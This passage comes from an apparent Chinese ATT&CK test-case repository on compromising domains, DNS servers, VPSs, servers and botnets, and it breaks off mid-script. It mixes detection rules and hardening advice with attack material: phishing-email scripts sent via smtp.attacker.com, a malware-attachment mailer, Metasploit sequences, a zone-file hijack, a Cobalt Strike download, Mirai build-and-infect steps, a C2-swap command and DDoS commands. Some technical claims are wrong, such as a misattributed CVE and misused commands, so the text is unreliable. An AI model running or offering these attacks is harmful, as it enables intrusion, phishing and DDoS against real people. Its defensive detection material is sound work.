sid:1000001;) ``` - 使用NetFlow或Zeek分析与Web服务的长期连接或异常流量。 - **DNS监控**: - 检测解析到Web服务IP的异常域名,重点关注github.io、drive.google.com等。 - 示例DNS防火墙规则: ```plaintext Rule: Detect Suspicious Web Service Domains Condition: DNS query resolves to github.io OR drive.google.com Action: Alert ``` - **邮件监控**: - 使用DLP工具检测钓鱼邮件,检查包含Web服务链接的邮件。 - 示例DLP规则: ```plaintext Rule: Detect Phishing Links to Web Services Condition: Email contains "http" AND "github.io" Action: Alert ``` - **端点监控**: - 使用EDR工具(如CrowdStrike、Carbon Black)检测访问Web服务托管的恶意页面或下载可疑文件的活动。 - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的恶意Web服务URL或IP。 - 监控暗网市场,检测Web服务账户的异常使用。 ## 建议 - **减少暴露面**: - 限制员工访问未知或可疑的Web服务链接。 - 使用URL过滤器拦截已知Web服务的恶意子域名(如github.io)。 - **安全加固**: - 配置防火墙限制与Web服务API的异常通信。 - 实施MFA保护与员工相关的Web服务账户,防止凭据被窃取。 - 使用WAF保护合法网站,拦截异常流量。 - **主动监控与响应**: - 部署SIEM工具(如Splunk、ELK),分析与Web服务相关的异常流量模式。 - 使用Shodan或Censys监控Web服务的暴露页面,识别潜在恶意活动。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的Web服务滥用行为。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如命令与控制T1102、钓鱼T1566、数据泄露T1567),通过异常流量或行为间接发现Web服务活动。 ## 参考资料 - MITRE ATT&CK: T1583-006 ================================================ FILE: Windows/02资源开发/T1584.001-入侵基础设施-域名.md ================================================ # T1584-001-入侵基础设施-域名 ## 描述 在入侵目标组织之前,攻击者可能通过劫持域名或子域名来支持目标定位和攻击执行。域名劫持是指未经授权控制域名或子域名,通常通过利用域名注册流程或相关账户的弱点实现。攻击者可利用劫持的域名开展恶意活动,如网络钓鱼(T1566)、命令与控制(C2)(T1102)或分发恶意内容,通过合法域名的信任度掩盖恶意行为。 攻击者可能采用以下方式入侵域名: - **电子邮件账户入侵**:通过钓鱼或凭据填充获取域名所有者的电子邮件账户(如`admin@target.com`),以发起密码重置或修改注册信息。 - **社会工程**:通过钓鱼或伪装身份攻击域名注册商的帮助中心(如客户支持),获取账户控制权。 - **利用注册漏洞**:利用弱认证、过期域名或错误配置的DNS记录。 - **子域名劫持**:利用悬空DNS记录(如指向已停用资源的CNAME或A记录),控制子域名。 劫持的域名或子域名可用于托管恶意内容、重定向流量或建立C2基础设施,同时因其与合法域名的关联性而混杂于正常流量中。 ## 测试案例 以下是攻击者入侵域名的常见方法和工具,以及示例: - **电子邮件账户入侵**: - 通过钓鱼邮件获取域名所有者的电子邮件凭据,重置注册商账户。 - 示例:发送伪装为GoDaddy密码重置页面的钓鱼邮件,捕获凭据。 - **社会工程**: - 冒充域名所有者联系注册商帮助中心,请求密码重置或DNS变更。 - 示例:利用窃取的个人信息说服Namecheap支持团队转移域名控制权。 - **子域名劫持**: - 识别悬空DNS记录(如CNAME指向未声明的AWS S3存储桶),并声明该资源。 - 示例:使用`Subadub`工具查找易受攻击的子域名: ```bash subadub -d target.com -o output.txt ``` - 参考:,详细介绍子域名劫持技术。 - **利用过期域名**: - 使用`WhoisXML API`监控过期域名并注册用于恶意活动。 ```bash curl -X GET "https://api.whoisxmlapi.com/v1/expired-domains?domain=target.com&apiKey=" ``` - **案例场景**: - 攻击者发现`sub.target.com`的CNAME记录指向未声明的Azure资源,声明该资源并托管伪装的登录页面。 - 参考:,总结真实世界的子域名劫持案例。 ## 检测日志 域名入侵活动通常发生在目标组织视野之外,难以直接监控。可能的日志来源包括: - **DNS日志**: - 监控未经授权的DNS记录变更(如NS、A或CNAME修改)。 - **注册商日志**: - 跟踪注册商管理控制台中的登录尝试、密码重置或DNS变更。 - **邮件服务器日志**: - 检测针对域名所有者或注册商账户的钓鱼邮件。 - **网络流量日志**: - 识别指向劫持域名或子域名的恶意流量。 - **Web服务器日志**: - 记录对劫持子域名托管的钓鱼或恶意页面的请求。 ## 测试复现 以下是在受控授权环境中模拟域名入侵的步骤: 1. **环境准备**: - 使用Namecheap或GoDaddy注册测试域名(如`test-target.com`)。 - 配置子域名(如`sub.test-target.com`),设置悬空CNAME指向未声明的资源(如AWS S3存储桶)。 2. **子域名劫持**: - 使用`Subadub`识别悬空记录: ```bash subadub -d test-target.com -o subdomains.txt ``` - 声明未拥有的资源(如创建与CNAME匹配的S3存储桶)。 - 在声明的资源上托管钓鱼页面: ```html TestCorp 登录
``` 3. **电子邮件入侵模拟**: - 向测试域名的管理员邮箱发送伪装的注册商密码重置邮件: ```python import smtplib from email.mime.text import MIMEText msg = MIMEText("重置您的密码:http://fake-registrar.com/reset") msg['Subject'] = '紧急:域名密码重置' msg['From'] = 'support@fake-registrar.com' msg['To'] = 'admin@test-target.com' with smtplib.SMTP('smtp.attacker.com') as server: server.login('user', 'pass') server.send_message(msg) ``` 4. **结果分析**: - 验证子域名是否提供钓鱼页面,或邮件是否触发响应。 5. **日志收集**: - 收集DNS、注册商、邮件和Web服务器日志,分析入侵痕迹。 ## 测试留痕 域名入侵活动可能留下以下痕迹: - **DNS日志**:未经授权的NS、A或CNAME记录变更。 - **注册商日志**:可疑的登录尝试、密码重置或DNS修改。 - **邮件服务器日志**:针对域名所有者或注册商账户的钓鱼邮件。 - **网络流量**:指向劫持域名或子域名的恶意流量。 - **Web服务器日志**:对劫持子域名上的钓鱼或恶意页面的HTTP请求。 ## 检测规则/思路 由于域名入侵通常发生在目标组织视野之外,检测需结合多种策略: - **DNS监控**: - 使用Cloudflare或AWS Route 53日志检测未经授权的DNS记录变更。 - 示例DNS监控规则: ```plaintext 规则:检测未经授权的DNS变更 条件:DNS记录被修改且非授权IP 动作:告警 ``` - **注册商账户监控**: - 在注册商控制台(如GoDaddy、Namecheap)启用审计日志,跟踪登录尝试或配置变更。 - 示例审计规则: ```plaintext 规则:检测注册商账户活动 条件:来自未知IP的登录尝试或DNS变更 动作:告警 ``` - **邮件监控**: - 使用DLP(数据丢失防护)工具检测针对域名相关账户的钓鱼邮件。 - 示例DLP规则: ```plaintext 规则:检测针对域名账户的钓鱼邮件 条件:邮件包含“密码重置”且涉及“注册商” 动作:告警 ``` - **威胁情报整合**: - 使用DomainTools或WhoisXML API监控与组织域名相似的注册活动。 - 示例:监控`*.target*`的注册情况。 - **日志关联**: - 使用SIEM(如Splunk、ELK)关联DNS、邮件和网络日志,检测域名入侵或恶意使用的迹象。 - **子域名监控**: - 使用`dnsdumpster`或`Subadub`识别悬空DNS记录: ```bash dnsdumpster -d target.com -o output.csv ``` ## 建议 - **减少暴露面**: - 定期审计DNS记录,识别并移除悬空记录(如指向未声明资源的CNAME)。 - 使用强密码和MFA保护注册商账户。 - 使用域名锁定服务,防止未经授权的转移。 - **安全加固**: - 启用DNSSEC,防止DNS欺骗和未经授权的变更。 - 配置注册商审计日志,监控账户活动。 - 实施邮件过滤,阻止针对域名所有者的钓鱼尝试。 - **主动监控与响应**: - 使用DomainTools或WhoisXML API监控与组织域名相似的注册活动。 - 部署Google Alerts,监控组织域名在可疑上下文中的提及。 - 进行威胁狩猎,识别潜在的子域名劫持或注册商入侵。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如命令与控制T1102、钓鱼T1566),通过异常流量或钓鱼活动间接发现域名入侵。 ## 参考资料 - MITRE ATT&CK: T1584-001 - 子域名劫持漏洞详解、挖掘和防护 - 关于子域名劫持的一些总结 ================================================ FILE: Windows/02资源开发/T1584.002-入侵基础设施-DNS服务.md ================================================ # T1584-002-入侵基础设施-DNS服务 ## 描述 在入侵目标组织之前,攻击者可能通过劫持第三方域名系统(DNS)服务器来支持目标定位和攻击执行。相比于自建DNS服务器,攻击者可能选择入侵现有的DNS服务器以获取对DNS流量的控制权。这种入侵行为可用于命令与控制(C2)、数据收集、凭据窃取或其他恶意活动。劫持的DNS服务器能够重定向流量、创建恶意子域名或伪造DNS响应,而无需向域名所有者支付费用。 攻击者可能通过以下方式入侵DNS服务: - **凭据窃取**:通过钓鱼、凭据填充或漏洞利用获取DNS服务器管理员的账户凭据。 - **漏洞利用**:利用DNS服务器软件(如BIND、PowerDNS)的已知漏洞(如远程代码执行)获得控制权。 - **配置篡改**:修改DNS记录(如A、CNAME、NS),将流量重定向到恶意服务器。 - **社会工程**:通过伪装身份攻击DNS服务提供商的帮助中心,获取账户访问权限。 - **恶意子域名**:在受控DNS服务器上创建指向恶意服务器的子域名,用于钓鱼或C2。 入侵DNS服务的高隐蔽性和对流量的控制能力使其成为攻击者的强大工具,尤其是在需要重定向合法流量或窃取敏感信息的场景中。 ## 测试案例 以下是模拟攻击者入侵DNS服务的常见方法和案例: - **凭据窃取**: - 通过钓鱼邮件获取DNS服务器管理员的登录凭据。 - 示例:伪装为DNS服务提供商(如Cloudflare)发送密码重置邮件: ```python import smtplib from email.mime.text import MIMEText msg = MIMEText("Reset your password: http://fake-dns.com/reset") msg['Subject'] = 'Urgent: DNS Account Reset' msg['From'] = 'support@fake-dns.com' msg['To'] = 'admin@target.com' with smtplib.SMTP('smtp.attacker.com') as server: server.login('user', 'pass') server.send_message(msg) ``` - **漏洞利用**: - 利用BIND的已知漏洞(如CVE-2016-2776)执行远程代码,控制DNS服务器。 ```bash # 使用Metasploit攻击BIND漏洞 msfconsole use exploit/linux/dns/bind_dos set RHOST exploit ``` - **配置篡改**: - 登录受损DNS服务器,修改A记录指向恶意IP。 ```bash # 修改BIND区域文件 echo "malicious.sub.target.com. IN A 192.168.1.100" >> /var/named/target.com.zone rndc reload ``` - **子域名创建**: - 在受损DNS服务器上添加恶意子域名,用于C2或钓鱼。 ```bash # 添加子域名记录 echo "c2.target.com. IN A 192.168.1.200" >> /var/named/target.com.zone rndc reload ``` - **案例场景**: - 攻击者通过钓鱼获取DNS管理员凭据,登录Cloudflare账户,修改A记录将`login.target.com`重定向到钓鱼网站。 - 利用BIND漏洞入侵企业DNS服务器,创建`malicious.target.com`子域名,托管C2服务器。 - 参考案例:攻击者通过DNS记录篡改实现流量重定向。 ## 检测日志 DNS服务入侵活动多发生在目标组织监测范围之外,难以直接监测。以下是可能的日志来源: - **DNS服务器日志**: - 记录未经授权的DNS记录变更(如A、CNAME、NS修改)。 - **身份认证日志**: - 监控DNS服务器或管理面板的异常登录尝试。 - **邮件服务器日志**: - 检测针对DNS管理员账户的钓鱼邮件。 - **网络流量日志**: - 识别重定向到恶意IP的DNS查询或异常流量。 - **防火墙/IDS日志**: - 检测针对DNS服务器的漏洞利用尝试或异常DNS流量。 ## 测试复现 以下是在受控授权环境中模拟DNS服务入侵的步骤: 1. **环境准备**: - 搭建测试DNS服务器(如使用BIND或PowerDNS),模拟企业DNS环境。 - 配置测试域名(如`test-target.com`),指向DNS服务器。 2. **凭据窃取模拟**: - 发送伪装的钓鱼邮件,诱导管理员泄露DNS管理凭据: ```python import smtplib from email.mime.text import MIMEText msg = MIMEText("Reset your password: http://fake-dns.com/reset") msg['Subject'] = 'Urgent: DNS Account Reset' msg['From'] = 'support@fake-dns.com' msg['To'] = 'admin@test-target.com' with smtplib.SMTP('smtp.attacker.com') as server: server.login('user', 'pass') server.send_message(msg) ``` 3. **漏洞利用模拟**: - 使用Metasploit攻击BIND漏洞: ```bash msfconsole use exploit/linux/dns/bind_dos set RHOST exploit ``` 4. **配置篡改**: - 登录受损DNS服务器,添加恶意DNS记录: ```bash echo "malicious.test-target.com. IN A 192.168.1.100" >> /var/named/test-target.com.zone rndc reload ``` 5. **结果分析**: - 验证DNS记录是否重定向到恶意IP,或子域名是否提供恶意内容。 6. **日志收集**: - 收集DNS服务器、身份认证、邮件和网络流量日志,分析入侵痕迹。 ## 测试留痕 DNS服务入侵可能留下以下痕迹: - **DNS服务器日志**:未经授权的DNS记录变更或异常查询。 - **身份认证日志**:DNS管理面板的异常登录尝试或IP来源。 - **邮件服务器日志**:针对DNS管理员的钓鱼邮件。 - **网络流量**:重定向到恶意IP的DNS查询或异常C2流量。 - **防火墙/IDS告警**:针对DNS服务器的漏洞利用或异常DNS流量。 ## 检测规则/思路 由于DNS服务入侵多发生在目标组织视野之外,检测需结合多种手段: - **DNS服务器监控**: - 检测未经授权的DNS记录变更。 - 示例DNS日志规则: ```plaintext Rule: Detect Unauthorized DNS Changes Condition: DNS record modified AND NOT authorized_IP Action: Alert ``` - **身份认证监控**: - 监控DNS服务器或管理面板的异常登录。 - 示例IDS规则: ```snort alert tcp any any -> 22 (msg:"Suspicious SSH Login Attempt"; sid:1000001;) ``` - **邮件监控**: - 使用DLP工具检测针对DNS管理员的钓鱼邮件。 - 示例DLP规则: ```plaintext Rule: Detect Phishing Emails for DNS Accounts Condition: Email contains "password reset" AND "dns" Action: Alert ``` - **网络流量分析**: - 使用IDS/IPS(如Snort、Suricata)检测异常DNS查询或重定向流量。 - 示例Snort规则: ```snort alert udp any any -> any 53 (msg:"Suspicious DNS Query to Malicious IP"; content:"192.168.1.100"; sid:1000002;) ``` - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的恶意DNS服务器IP或域名。 - 监控CVE数据库,关注DNS软件的最新漏洞。 - **日志关联**: - 使用SIEM(如Splunk、ELK)关联DNS、身份认证和网络日志,检测入侵或恶意使用的迹象。 ## 建议 - **减少暴露面**: - 定期审计DNS服务器配置,移除不必要的记录或子域名。 - 使用强密码和MFA保护DNS管理账户。 - **安全加固**: - 及时修补DNS服务器软件漏洞(如BIND、PowerDNS)。 - 启用DNSSEC,防止DNS记录篡改。 - 配置DNS服务器防火墙,仅允许可信IP访问管理端口。 - **主动监控与响应**: - 部署DNS日志分析工具(如Splunk、ELK),监控异常记录变更或查询。 - 使用Shodan或Censys扫描暴露的DNS服务器,识别潜在漏洞。 - 进行威胁狩猎,主动搜索可能的DNS服务入侵。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如命令与控制T1102、钓鱼T1566),通过异常流量或C2行为间接发现DNS入侵。 ## 参考资料 - MITRE ATT&CK: T1584-002 ================================================ FILE: Windows/02资源开发/T1584.003-入侵基础设施-虚拟专用服务器.md ================================================ # T1584-003-入侵基础设施-虚拟专用服务器 ## 描述 在入侵目标组织之前,攻击者可能通过劫持第三方虚拟专用服务器(VPS)来支持目标定位和攻击执行。VPS是一种通过虚拟化技术(如容器或虚拟机)将物理服务器分割为多个独立虚拟服务器的服务,每个VPS拥有独立的公网IP、操作系统、磁盘空间、内存和CPU资源。攻击者通过入侵第三方拥有的VPS,可以利用其高声誉和普遍性开展恶意活动,如命令与控制(C2)、钓鱼网站托管或恶意软件分发,同时增加被追踪的难度。 攻击者可能通过以下方式入侵VPS: - **凭据窃取**:通过钓鱼、凭据填充或恶意软件获取VPS管理员的账户凭据。 - **漏洞利用**:利用VPS操作系统或服务(如未修补的Linux内核、Apache、SSH)的漏洞获得控制权。 - **社会工程**:通过伪装身份攻击VPS提供商的客户支持,获取账户访问权限。 - **弱配置利用**:利用默认密码、开放端口或错误配置的服务(如未保护的RDP、SSH)入侵VPS。 入侵的VPS可用于后期攻击阶段,如C2通信(T1102)、数据泄露(T1567)或钓鱼(T1566),并因其托管在知名云服务提供商(如AWS、DigitalOcean)而更难被检测。 ## 测试案例 以下是模拟攻击者入侵VPS的常见方法和案例: - **凭据窃取**: - 通过钓鱼邮件获取VPS管理员的登录凭据。 - 示例:伪装为VPS提供商(如DigitalOcean)发送密码重置邮件: ```python import smtplib from email.mime.text import MIMEText msg = MIMEText("Reset your password: http://fake-vps.com/reset") msg['Subject'] = 'Urgent: VPS Account Reset' msg['From'] = 'support@fake-vps.com' msg['To'] = 'admin@target.com' with smtplib.SMTP('smtp.attacker.com') as server: server.login('user', 'pass') server.send_message(msg) ``` - **漏洞利用**: - 利用未修补的SSH漏洞(如CVE-2019-0211)入侵VPS。 ```bash # 使用Metasploit攻击SSH漏洞 msfconsole use exploit/linux/ssh/openssh_userenum set RHOST exploit ``` - **弱配置利用**: - 扫描VPS的开放端口,尝试默认凭据登录SSH或RDP。 ```bash # 使用Nmap扫描开放端口 nmap -p 22,3389 # 尝试默认SSH登录 ssh admin@ -p default_password ``` - **VPS用途**: - **C2服务器**:在入侵的VPS上部署Cobalt Strike: ```bash # 启动Cobalt Strike ./teamserver /path/to/profile ``` - **钓鱼网站**:托管伪装的登录页面: ```html TargetCorp Login
``` - **案例场景**: - 攻击者通过钓鱼获取DigitalOcean VPS凭据,部署Cobalt Strike C2服务器,控制受感染主机。 - 利用未修补的Apache漏洞入侵VPS,托管钓鱼网站,窃取员工凭据。 ## 检测日志 VPS入侵活动多发生在目标组织监测范围之外,难以直接监测。以下是可能的日志来源: - **VPS管理日志**: - 记录异常的登录尝试、配置变更或服务安装。 - **网络流量日志**: - 检测与受损VPS的异常通信,如C2流量或钓鱼页面访问。 - **DNS日志**: - 记录解析到受损VPS IP的异常域名查询。 - **邮件服务器日志**: - 监控针对VPS管理员账户的钓鱼邮件。 - **防火墙/IDS日志**: - 检测针对VPS的漏洞利用尝试或异常流量模式。 ## 测试复现 以下是在受控授权环境中模拟VPS入侵的步骤: 1. **环境准备**: - 租用测试VPS(如DigitalOcean、阿里云ECS),配置Ubuntu系统。 - 模拟弱配置(如默认SSH密码或开放RDP端口)。 2. **凭据窃取模拟**: - 发送伪装的钓鱼邮件,诱导管理员泄露VPS凭据: ```python import smtplib from email.mime.text import MIMEText msg = MIMEText("Reset your password: http://fake-vps.com/reset") msg['Subject'] = 'Urgent: VPS Account Reset' msg['From'] = 'support@fake-vps.com' msg['To'] = 'admin@test-vps.com' with smtplib.SMTP('smtp.attacker.com') as server: server.login('user', 'pass') server.send_message(msg) ``` 3. **漏洞利用模拟**: - 使用Metasploit攻击弱配置的SSH服务: ```bash msfconsole use auxiliary/scanner/ssh/ssh_login set RHOSTS set USERNAME admin set PASSWORD default_password exploit ``` 4. **恶意活动部署**: - 在受损VPS上部署C2服务器: ```bash wget https:///cobaltstrike.jar java -jar cobaltstrike.jar ./teamserver /path/to/profile ``` - 部署钓鱼网站: ```bash sudo apt install nginx cp phishing.html /var/www/html/index.html sudo systemctl start nginx ``` 5. **结果分析**: - 验证C2通道或钓鱼页面是否正常运行。 6. **日志收集**: - 收集VPS管理、网络流量、DNS和邮件日志,分析入侵痕迹。 ## 测试留痕 VPS入侵可能留下以下痕迹: - **VPS管理日志**:异常的登录尝试、新服务安装或配置变更。 - **网络流量**:与受损VPS的异常HTTP/HTTPS流量或C2通信。 - **DNS查询**:解析到受损VPS IP的异常域名。 - **邮件服务器日志**:针对VPS管理员的钓鱼邮件。 - **防火墙/IDS告警**:针对VPS的漏洞利用或异常流量。 ## 检测规则/思路 由于VPS入侵多发生在目标组织视野之外,检测需结合多种手段: - **网络流量监控**: - 检测与已知VPS提供商IP范围的异常通信。 - 示例Snort规则: ```snort alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Suspicious VPS Traffic"; content:"digitalocean.com"; sid:1000001;) ``` - **DNS监控**: - 检测解析到受损VPS IP的异常域名。 - 示例DNS防火墙规则: ```plaintext Rule: Detect Suspicious VPS Domains Condition: DNS query resolves to Action: Alert ``` - **邮件监控**: - 使用DLP工具检测针对VPS管理员的钓鱼邮件。 - 示例DLP规则: ```plaintext Rule: Detect Phishing Links to VPS Condition: Email contains "http" AND "password reset" Action: Alert ``` - **VPS管理监控**: - 监控VPS控制面板的异常登录或配置变更。 - 示例日志规则: ```plaintext Rule: Detect Unauthorized VPS Login Condition: Login attempt from unknown IP Action: Alert ``` - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的恶意VPS IP或C2域名。 - **日志关联**: - 使用SIEM(如Splunk、ELK)关联网络、DNS和邮件日志,检测VPS入侵或恶意使用。 ## 建议 - **减少暴露面**: - 定期审计VPS配置,关闭不必要的端口(如SSH、RDP)。 - 使用强密码和MFA保护VPS管理账户。 - **安全加固**: - 及时修补VPS操作系统和服务的漏洞。 - 配置防火墙限制对VPS管理端口的访问。 - 实施入侵检测系统(IDS)监控VPS异常活动。 - **主动监控与响应**: - 部署VPS日志分析工具(如Splunk、ELK),监控异常登录或流量。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的VPS入侵。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如命令与控制T1102、钓鱼T1566),通过异常流量或C2行为间接发现VPS入侵。 ## 参考资料 - MITRE ATT&CK: T1584-003 ================================================ FILE: Windows/02资源开发/T1584.004-入侵基础设施-服务器.md ================================================ # T1584-004-入侵基础设施-服务器 ## 描述 在入侵目标组织之前,攻击者可能通过劫持第三方服务器来支持目标定位和攻击执行。这些服务器可以是物理服务器、虚拟服务器或网络服务器(Web服务器),常被称为“肉鸡”或跳板机。攻击者通过入侵第三方服务器,可以利用其计算资源和网络位置开展恶意活动,如命令与控制(C2)、水坑攻击、路过式下载(Drive-by Compromise)、钓鱼网站托管或数据泄露。相比于购买或租用服务器,入侵第三方服务器成本更低,且因服务器归属第三方,增加了攻击者被追踪的难度。 攻击者可能通过以下方式入侵服务器: - **凭据窃取**:通过钓鱼、凭据填充或恶意软件获取服务器管理员的账户凭据。 - **漏洞利用**:利用服务器操作系统或服务(如Apache、Nginx、SSH、RDP)的已知漏洞获得控制权。 - **弱配置利用**:利用默认密码、开放端口或错误配置的服务入侵服务器。 - **社会工程**:通过伪装身份攻击服务器托管提供商的客户支持,获取账户访问权限。 - **供应链攻击**:通过第三方软件或服务(如管理工具)间接入侵服务器。 入侵的服务器可用于攻击生命周期的多个阶段,如C2通信(T1102)、水坑攻击(T1189)或钓鱼(T1566),并因其与合法实体的关联而更难被检测。 ## 测试案例 以下是模拟攻击者入侵服务器的常见方法和案例: - **凭据窃取**: - 通过钓鱼邮件获取服务器管理员的登录凭据。 - 示例:伪装为托管提供商发送密码重置邮件: ```python import smtplib from email.mime.text import MIMEText msg = MIMEText("Reset your password: http://fake-host.com/reset") msg['Subject'] = 'Urgent: Server Account Reset' msg['From'] = 'support@fake-host.com' msg['To'] = 'admin@target.com' with smtplib.SMTP('smtp.attacker.com') as server: server.login('user', 'pass') server.send_message(msg) ``` - **漏洞利用**: - 利用Apache Struts漏洞(如CVE-2017-5638)执行远程代码,控制Web服务器。 ```bash # 使用Metasploit攻击Apache Struts msfconsole use exploit/multi/http/struts2_content_type_ognl set RHOST exploit ``` - **弱配置利用**: - 扫描服务器开放端口,尝试默认凭据登录SSH或RDP。 ```bash # 使用Nmap扫描开放端口 nmap -p 22,3389 # 尝试默认SSH登录 ssh admin@ -p default_password ``` - **服务器用途**: - **C2服务器**:在入侵的服务器上部署Cobalt Strike: ```bash # 启动Cobalt Strike ./teamserver /path/to/profile ``` - **水坑攻击**:修改Web服务器内容,注入恶意JavaScript: ```html ``` - **钓鱼网站**:托管伪装的登录页面: ```html TargetCorp Login
``` - **案例场景**: - 攻击者通过钓鱼获取Web服务器管理员凭据,注入恶意JavaScript,发起水坑攻击。 - 利用未修补的SSH漏洞入侵服务器,部署Cobalt Strike C2,控制受感染主机。 ## 检测日志 服务器入侵活动多发生在目标组织监测范围之外,难以直接监测。以下是可能的日志来源: - **服务器管理日志**: - 记录异常的登录尝试、配置变更或新服务安装。 - **网络流量日志**: - 检测与受损服务器的异常通信,如C2流量或钓鱼页面访问。 - **DNS日志**: - 记录解析到受损服务器IP的异常域名查询。 - **邮件服务器日志**: - 监控针对服务器管理员账户的钓鱼邮件。 - **防火墙/IDS日志**: - 检测针对服务器的漏洞利用尝试或异常流量模式。 ## 测试复现 以下是在受控授权环境中模拟服务器入侵的步骤: 1. **环境准备**: - 搭建测试服务器(如Ubuntu虚拟机),模拟弱配置(如默认SSH密码或开放端口)。 - 配置Web服务器(如Nginx)并托管简单页面。 2. **凭据窃取模拟**: - 发送伪装的钓鱼邮件,诱导管理员泄露服务器凭据: ```python import smtplib from email.mime.text import MIMEText msg = MIMEText("Reset your password: http://fake-host.com/reset") msg['Subject'] = 'Urgent: Server Account Reset' msg['From'] = 'support@fake-host.com' msg['To'] = 'admin@test-server.com' with smtplib.SMTP('smtp.attacker.com') as server: server.login('user', 'pass') server.send_message(msg) ``` 3. **漏洞利用模拟**: - 使用Metasploit攻击弱配置的SSH服务: ```bash msfconsole use auxiliary/scanner/ssh/ssh_login set RHOSTS set USERNAME admin set PASSWORD default_password exploit ``` 4. **恶意活动部署**: - 在受损服务器上部署C2服务器: ```bash wget https:///cobaltstrike.jar java -jar cobaltstrike.jar ./teamserver /path/to/profile ``` - 部署钓鱼网站: ```bash sudo apt install nginx cp phishing.html /var/www/html/index.html sudo systemctl start nginx ``` - 注入水坑攻击代码: ```bash echo "" >> /var/www/html/index.html ``` 5. **结果分析**: - 验证C2通道、钓鱼页面或水坑攻击是否正常运行。 6. **日志收集**: - 收集服务器管理、网络流量、DNS和邮件日志,分析入侵痕迹。 ## 测试留痕 服务器入侵可能留下以下痕迹: - **服务器管理日志**:异常的登录尝试、新服务安装或配置变更。 - **网络流量**:与受损服务器的异常HTTP/HTTPS流量或C2通信。 - **DNS查询**:解析到受损服务器IP的异常域名。 - **邮件服务器日志**:针对服务器管理员的钓鱼邮件。 - **防火墙/IDS告警**:针对服务器的漏洞利用或异常流量。 ## 检测规则/思路 由于服务器入侵多发生在目标组织视野之外,检测需结合多种手段: - **网络流量监控**: - 检测与受损服务器的异常通信,关注C2或钓鱼流量。 - 示例Snort规则: ```snort alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Suspicious Server Traffic"; content:"c2"; sid:1000001;) ``` - **DNS监控**: - 检测解析到受损服务器IP的异常域名。 - 示例DNS防火墙规则: ```plaintext Rule: Detect Suspicious Server Domains Condition: DNS query resolves to Action: Alert ``` - **邮件监控**: - 使用DLP工具检测针对服务器管理员的钓鱼邮件。 - 示例DLP规则: ```plaintext Rule: Detect Phishing Links to Server Condition: Email contains "http" AND "password reset" Action: Alert ``` - **服务器管理监控**: - 监控服务器的异常登录或配置变更。 - 示例日志规则: ```plaintext Rule: Detect Unauthorized Server Login Condition: Login attempt from unknown IP Action: Alert ``` - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的恶意服务器IP或C2域名。 - **日志关联**: - 使用SIEM(如Splunk、ELK)关联网络、DNS和邮件日志,检测服务器入侵或恶意使用。 ## 建议 - **减少暴露面**: - 定期审计服务器配置,关闭不必要的端口(如SSH、RDP)。 - 使用强密码和MFA保护服务器管理账户。 - **安全加固**: - 及时修补服务器操作系统和服务的漏洞。 - 配置防火墙限制对服务器管理端口的访问。 - 实施入侵检测系统(IDS)监控服务器异常活动。 - **主动监控与响应**: - 部署服务器日志分析工具(如Splunk、ELK),监控异常登录或流量。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的服务器入侵。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如命令与控制T1102、钓鱼T1566、水坑攻击T1189),通过异常流量或C2行为间接发现服务器入侵。 ## 参考资料 - MITRE ATT&CK: T1584-004 ================================================ FILE: Windows/02资源开发/T1584.005-入侵基础设施-僵尸网络.md ================================================ # T1584-005-入侵基础设施-僵尸网络 ## 描述 在入侵目标组织之前,攻击者可能通过入侵多个第三方系统,组建僵尸网络(Botnet)以支持目标定位和攻击执行。僵尸网络是由大量受感染主机组成的网络,这些主机通过恶意软件(如僵尸程序)被控制,可由攻击者通过命令与控制(C2)通道统一指挥。攻击者可能自行入侵系统以构建僵尸网络,或者接管现有的僵尸网络(例如通过重定向僵尸程序到攻击者控制的C2服务器)。僵尸网络可用于多种恶意活动,包括分布式拒绝服务(DDoS)攻击、大规模网络钓鱼、恶意软件分发、数据窃取或代理中继。 攻击者可能通过以下方式入侵和组建僵尸网络: - **恶意软件传播**:通过钓鱼邮件、漏洞利用或恶意下载感染主机,植入僵尸程序(如Mirai、Emotet)。 - **漏洞利用**:利用未修补的系统漏洞(如IoT设备、Windows服务器)大规模感染主机。 - **凭据窃取**:通过钓鱼或凭据填充获取主机访问权限,部署僵尸程序。 - **接管现有僵尸网络**:通过分析现有僵尸程序,替换C2服务器地址,控制受感染主机。 - **功能利用**:利用僵尸网络执行DDoS攻击、钓鱼分发、恶意软件传播或代理服务。 僵尸网络的规模化、隐蔽性和多功能性使其成为攻击者的强大工具,尤其在需要大规模攻击或匿名性的场景中。 ## 测试案例 以下是模拟攻击者入侵和组建僵尸网络的常见方法和案例: - **恶意软件传播**: - 通过钓鱼邮件分发恶意附件,感染主机并植入僵尸程序。 ```python import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email import encoders msg = MIMEMultipart() msg['Subject'] = 'Urgent: Invoice Update' msg['From'] = 'attacker@malicious.com' msg['To'] = 'victim@target.com' part = MIMEBase('application', 'octet-stream') part.set_payload(open('malware.exe', 'rb').read()) encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="invoice.exe"') msg.attach(part) with smtplib.SMTP('smtp.malicious.com') as server: server.login('user', 'pass') server.send_message(msg) ``` - **漏洞利用**: - 利用Mirai源码攻击易受感染的IoT设备。 ```bash # 使用Mirai源码感染设备 git clone https://github.com/jgamblin/Mirai-Source-Code cd Mirai-Source-Code ./build.sh # 扫描并感染设备 ./mirai -s ``` - **接管现有僵尸网络**: - 逆向分析僵尸程序,替换C2服务器地址。 ```bash # 修改僵尸程序C2地址(伪代码) sed -i 's/old_c2.attacker.com/new_c2.attacker.com/g' malware_binary ``` - **功能利用**: - **DDoS攻击**:使用僵尸网络发起HTTP Flood攻击。 ```bash # 使用LOIC模拟DDoS loic -method HTTP -threads 100 ``` - **钓鱼分发**:通过受感染主机发送钓鱼邮件。 ```python import smtplib from email.mime.text import 